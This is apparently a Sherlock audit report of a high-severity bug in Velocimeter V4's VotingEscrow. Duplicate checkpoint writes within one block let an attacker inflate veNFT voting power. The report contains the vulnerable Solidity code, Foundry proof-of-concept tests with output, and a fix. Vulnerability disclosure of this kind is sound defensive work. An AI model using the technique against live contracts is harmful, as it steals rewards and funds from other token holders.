Polite Butter Gazelle

High

# Attacker can inflate voting balance on gauges by duplicating `veNFTs` in a checkpoint

## Summary

`veNFT` holders can vote on gauges every epoch for rewards, where the weight of the vote depends on the amount locked.

Users can delegate their `veNFT` to anyone, which transfers the balance of their locked `veNFT` amount to them.

The problem is when there is more than one transfer via `_moveTokenDelegates` in the same block, the `_findWhatCheckpointToWrite` function, which is responsible for returning the index of a new checkpoint, will instead return the index of the old checkpoint. The index of the old checkpoint contains the state of the previous transfer, and will duplicate the `token ids` in that checkpoint array. I understand this may sound confusing, and will do my best to explain in `Vulnerability Detail` section.

An attacker can exploit this by inflating their voting power, which is determined by the balance of the token IDs within that checkpoint.

This is a [known issue](https://velodrome.finance/security) with `Velodrome V1` forks that hasn't been fixed in `Velocimeter V4`.

## Vulnerability Detail

Let's look at how NFTs are transferred in `VotingEscrow`:

[VotingEscrow.sol#L331](https://github.com/sherlock-audit/2024-06-velocimeter/blob/main/v4-contracts/contracts/VotingEscrow.sol#L331)
```javascript
    _moveTokenDelegates(delegates(_from), delegates(_to), _tokenId);
```

`_moveTokenDelegates` is executed to delegate the `veNFT` of the `_from` address to the `_to` address:

[VotingEscrow.sol#L1362-L1411](https://github.com/sherlock-audit/2024-06-velocimeter/blob/main/v4-contracts/contracts/VotingEscrow.sol#L1362-L1411)

```javascript
    function _moveTokenDelegates(
        address srcRep,
        address dstRep,
        uint _tokenId
    ) internal {
        if (srcRep != dstRep && _tokenId > 0) {
            if (srcRep != address(0)) {
                uint32 srcRepNum = numCheckpoints[srcRep];
                uint[] storage srcRepOld = srcRepNum > 0
                    ? checkpoints[srcRep][srcRepNum - 1].tokenIds
                    : checkpoints[srcRep][0].tokenIds;
@>              uint32 nextSrcRepNum = _findWhatCheckpointToWrite(srcRep);
                uint[] storage srcRepNew = checkpoints[srcRep][
                    nextSrcRepNum
                ].tokenIds;
                // All the same except _tokenId
                for (uint i = 0; i < srcRepOld.length; i++) {
                    uint tId = srcRepOld[i];
                    if (tId != _tokenId) {
                        srcRepNew.push(tId);
                    }
                }

                numCheckpoints[srcRep] = srcRepNum + 1;
            }

            if (dstRep != address(0)) {
                uint32 dstRepNum = numCheckpoints[dstRep];
                uint[] storage dstRepOld = dstRepNum > 0
                    ? checkpoints[dstRep][dstRepNum - 1].tokenIds
                    : checkpoints[dstRep][0].tokenIds;
@>              uint32 nextDstRepNum = _findWhatCheckpointToWrite(dstRep);
                uint[] storage dstRepNew = checkpoints[dstRep][
                    nextDstRepNum
                ].tokenIds;
                // All the same plus _tokenId
                require(
                    dstRepOld.length + 1 <= MAX_DELEGATES,
                    "dstRep would have too many tokenIds"
                );
                for (uint i = 0; i < dstRepOld.length; i++) {
                    uint tId = dstRepOld[i];
                    dstRepNew.push(tId);
                }
                dstRepNew.push(_tokenId);

                numCheckpoints[dstRep] = dstRepNum + 1;
            }
        }
    }
```

Let's walk through what's happening here. First, an array of the current token ids of the sender is stored in `srcRepOld`. Next, the new index of the `checkpoints` mapping is collected via the call to `_findWhatCheckpointToWrite`:

[VotingEscrow.sol#L1413-L1429](https://github.com/sherlock-audit/2024-06-velocimeter/blob/main/v4-contracts/contracts/VotingEscrow.sol#L1413-L1429)
```javascript
    function _findWhatCheckpointToWrite(address account)
        internal
        view
        returns (uint32)
    {
        uint _timestamp = block.timestamp;
        uint32 _nCheckPoints = numCheckpoints[account];

        if (
            _nCheckPoints > 0 &&
@>          checkpoints[account][_nCheckPoints - 1].timestamp == _timestamp
        ) {
            return _nCheckPoints - 1; //@audit old index
        } else {
            return _nCheckPoints; //@audit new index
        }
    }
```

We can see that if we are in the same `block.timestamp` of the recent `checkpoints` index, then return the old index, otherwise return a new index.

Next, `srcRepNew`, which is a storage pointer to the new `checkpoints` index is initialized.

The entire list of token ids in `srcRepOld` *except* for the `token id` being transferred is pushed in a new array called `srcRepNew`.

This ensures that the most recent checkpoint for the sender has every token id owned by the sender, except for the one being delegated.

The exact process is repeated for the receiver, where they now receive an extra `token id` (the one being delegated).

However, we just saw that `_findWhatCheckpointToWrite` returns the old index if the latest checkpoint is in the current `block.timestamp`. This means that if there is more than one transfer call in the same block, instead of adding the new NFTs in the new checkpoint index, it will add the exact ones again in the old index, causing duplicate veNFTs. 

Consider the following example:

Alice: tokenIds = [1, 2], checkpoint index = 0
Bob: tokenIds = [3], checkpoint index = 0

*Alice transfers tokenid = 2 to Bob:*

Alice: tokenIds = [1], checkpoint index = 1
Bob: tokenIds = [3, 2], checkpoint index = 1

*Alice transfers tokenid = 1 to Bob in the same block again:*

Alice: tokenIds = [1], checkpoint index = 1
Bob: tokenIds = [3, 2, 3, 2, 1], checkpoint index = 1

Not only did Bob receive duplicate NFTs, but Alice didn't lose hers. An attacker can inflate their voting power by exploiting this since the checkpoint will be used to determine voting power, and steal rewards.

## Proof of Concept

<details>
<summary>Coded PoC</summary>
<br>

To run this test, first another bug has to be fixed that I have reported in a separate issue. This bug is that the `timestamp` of Checkpoints are never initialized. To fix it, make the following changes in `VotingEscrow::_moveAllDelegates`:

```diff
    function _moveTokenDelegates(
        address srcRep,
        address dstRep,
        uint _tokenId
    ) internal {
        if (srcRep != dstRep && _tokenId > 0) {
            if (srcRep != address(0)) {
                uint32 srcRepNum = numCheckpoints[srcRep];
                uint[] storage srcRepOld = srcRepNum > 0
                    ? checkpoints[srcRep][srcRepNum - 1].tokenIds
                    : checkpoints[srcRep][0].tokenIds;
                uint32 nextSrcRepNum = _findWhatCheckpointToWrite(srcRep);
                uint[] storage srcRepNew = checkpoints[srcRep][
                    nextSrcRepNum
                ].tokenIds;
                // All the same except _tokenId
                for (uint i = 0; i < srcRepOld.length; i++) {
                    uint tId = srcRepOld[i];
                    if (tId != _tokenId) {
                        srcRepNew.push(tId);
                    }
                }

                numCheckpoints[srcRep] = srcRepNum + 1;
+               checkpoints[srcRep][srcRepNum].timestamp = block.timestamp;
            }

            if (dstRep != address(0)) {
                uint32 dstRepNum = numCheckpoints[dstRep];
                uint[] storage dstRepOld = dstRepNum > 0
                    ? checkpoints[dstRep][dstRepNum - 1].tokenIds
                    : checkpoints[dstRep][0].tokenIds;
                uint32 nextDstRepNum = _findWhatCheckpointToWrite(dstRep);
                uint[] storage dstRepNew = checkpoints[dstRep][
                    nextDstRepNum
                ].tokenIds;
                // All the same plus _tokenId
                require(
                    dstRepOld.length + 1 <= MAX_DELEGATES,
                    "dstRep would have too many tokenIds"
                );
+               uint len = dstRepOld.length;
-               for (uint i = 0; i < dstRepOld.length; i++) {
+               for (uint i = 0; i < len; i++) {
                    uint tId = dstRepOld[i];
                    dstRepNew.push(tId);
                }
                dstRepNew.push(_tokenId);

                numCheckpoints[dstRep] = dstRepNum + 1;
+               checkpoints[dstRep][dstRepNum].timestamp = block.timestamp;
            }
        }
    }
```

The changes with the `for` loop is to avoid an infinite loop when the old index is used.

In addition, to make this test simpler, add the following function in `VotingEscrow`, which retrieves the checkpoint mapping (foundry was giving trouble with the built-in getter function):

```diff
+   function getCheckpoint(address owner, uint32 index) public view returns (Checkpoint memory) {
+       return checkpoints[owner][index];
+   }
```

Now, add the following to `test/VotingEscrow.t.sol` and run `forge test --mt testSameBlockCheckpoint -vv`

```javascript
    function testSameBlockCheckpoint() public {
        uint256 maxtime = 52 * 7 * 24 * 3600; 
        FLOW.mint(address(owner), TOKEN_1M);
        DAI.mint(address(owner), TOKEN_1M);
        FLOW.approve(address(router), TOKEN_1M);
        DAI.approve(address(router), TOKEN_1M);
        router.addLiquidity(address(FLOW), address(DAI), false, TOKEN_1M, TOKEN_1M, 0, 0, address(owner), block.timestamp);
        address alice = vm.addr(1);

        vm.startPrank(address(owner));
        flowDaiPair.transfer(alice, 2 ether);
        flowDaiPair.approve(address(escrow), type(uint256).max);
        uint tokenId = escrow.create_lock(TOKEN_1, maxtime);
        vm.roll(block.number + 1);
        vm.warp(block.timestamp + 2);
        vm.stopPrank();

        vm.startPrank(address(alice));
        flowDaiPair.approve(address(escrow), type(uint256).max);
        uint tokenId2 = escrow.create_lock(1 ether, maxtime);
        vm.roll(block.number + 1);
        vm.warp(block.timestamp + 2);
        uint tokenId3 = escrow.create_lock(1 ether, maxtime);
        vm.roll(block.number + 1);
        vm.warp(block.timestamp + 2);
        
        escrow.approve(address(owner), tokenId2);
        escrow.approve(address(owner), tokenId3);

        vm.stopPrank();
        escrow.transferFrom(address(alice), address(owner), tokenId2);

        escrow.transferFrom(address(alice), address(owner), tokenId3);

        uint32 nCheckpoints = escrow.numCheckpoints(address(owner));
 
        VotingEscrow.Checkpoint memory cp  = escrow.getCheckpoint(address(owner), nCheckpoints - 2);
        
        uint[] memory _tokenIdsOld = cp.tokenIds;
        uint len = _tokenIdsOld.length;
        console.log("Number of tokenids at old index for attacker: ", len);
        assertEq(cp.timestamp, 7);

        cp  = escrow.getCheckpoint(address(owner), nCheckpoints - 1);
        
        uint[] memory _tokenIdsNew = cp.tokenIds;
        len = _tokenIdsNew.length;
        console.log("Number of tokenids at new index for attacker: ", len);
    }
```

Add the following to `test/VotingEscrow.t.sol` and run `forge test --mt testDifferentBlockCheckpoint -vv`

```javascript
    function testDifferentBlockCheckpoint() public {
        uint256 maxtime = 52 * 7 * 24 * 3600; // 52 weeks
        FLOW.mint(address(owner), TOKEN_1M);
        DAI.mint(address(owner), TOKEN_1M);
        FLOW.approve(address(router), TOKEN_1M);
        DAI.approve(address(router), TOKEN_1M);
        router.addLiquidity(address(FLOW), address(DAI), false, TOKEN_1M, TOKEN_1M, 0, 0, address(owner), block.timestamp);
        address alice = vm.addr(1);

        vm.startPrank(address(owner));
        flowDaiPair.transfer(alice, 2 ether);
        flowDaiPair.approve(address(escrow), type(uint256).max);
        uint tokenId = escrow.create_lock(TOKEN_1, maxtime);
        vm.roll(block.number + 1);
        vm.warp(block.timestamp + 2);
        vm.stopPrank();

        vm.startPrank(address(alice));
        flowDaiPair.approve(address(escrow), type(uint256).max);
        uint tokenId2 = escrow.create_lock(1 ether, maxtime);
        vm.roll(block.number + 1);
        vm.warp(block.timestamp + 2);
        uint tokenId3 = escrow.create_lock(1 ether, maxtime);
        vm.roll(block.number + 1);
        vm.warp(block.timestamp + 2);
        
        escrow.approve(address(owner), tokenId2);
        escrow.approve(address(owner), tokenId3);

        vm.stopPrank();

        escrow.transferFrom(address(alice), address(owner), tokenId2);
        vm.warp(block.timestamp + 2);
        escrow.transferFrom(address(alice), address(owner), tokenId3);

        uint32 nCheckpoints = escrow.numCheckpoints(address(owner));
 
        VotingEscrow.Checkpoint memory cp  = escrow.getCheckpoint(address(owner), nCheckpoints - 1);
        
        uint[] memory _tokenIdsOld = cp.tokenIds;
        uint len = _tokenIdsOld.length;
        console.log("Number of tokenids at latest index: ", len);

        cp  = escrow.getCheckpoint(address(owner), nCheckpoints - 1);
        
        uint[] memory _tokenIdsNew = cp.tokenIds;
        len = _tokenIdsNew.length;
        console.log("Number of tokenids at new index: ", len);
    }
```

</details>

### Console Output

```text
Running 1 test for test/VotingEscrow.t.sol:VotingEscrowTest
[PASS] testSameBlockCheckpoint() (gas: 1844394)
Logs:
  Number of tokenids at old index for attacker:  5
  Number of tokenids at new index for attacker:  0

Test result: ok. 1 passed; 0 failed; 0 skipped; finished in 5.24ms

Ran 1 test suites: 1 tests passed, 0 failed, 0 skipped (1 total tests)
```

```text
Running 1 test for test/VotingEscrow.t.sol:VotingEscrowTest
[PASS] testDifferentBlockCheckpoint() (gas: 1864833)
Logs:
  Number of tokenids at latest index:  3
  Number of tokenids at new index:  3

Test result: ok. 1 passed; 0 failed; 0 skipped; finished in 5.25ms

Ran 1 test suites: 1 tests passed, 0 failed, 0 skipped (1 total tests)
```

We can see when the transfers are done in the same block, the duplicate `veNFTs` are added to the same checkpoint, whereas in different blocks it is added to the next one.

## Impact

Inflated votes, stolen rewards, loss of funds to other `veNFT` holders, voting system exploited.

## Code Snippet

https://github.com/sherlock-audit/2024-06-velocimeter/blob/main/v4-contracts/contracts/VotingEscrow.sol#L331

https://github.com/sherlock-audit/2024-06-velocimeter/blob/main/v4-contracts/contracts/VotingEscrow.sol#L1362-L1411

https://github.com/sherlock-audit/2024-06-velocimeter/blob/main/v4-contracts/contracts/VotingEscrow.sol#L1413-L1429

## Tool used

Manual Review

## Recommendation

`Velodrome Finance` [fixed this issue](https://github.com/velodrome-finance/contracts/commit/a670bfb62c69fe38ac918b734a03b68a5505f8a2) by overwriting the old index with the new NFTs rather than adding to it when the `block.timestamp` is the same: `_checkpoints[dstRep][dstRepNum - 1].tokenIds = dstRepNew;`. Consider implementing the same changes.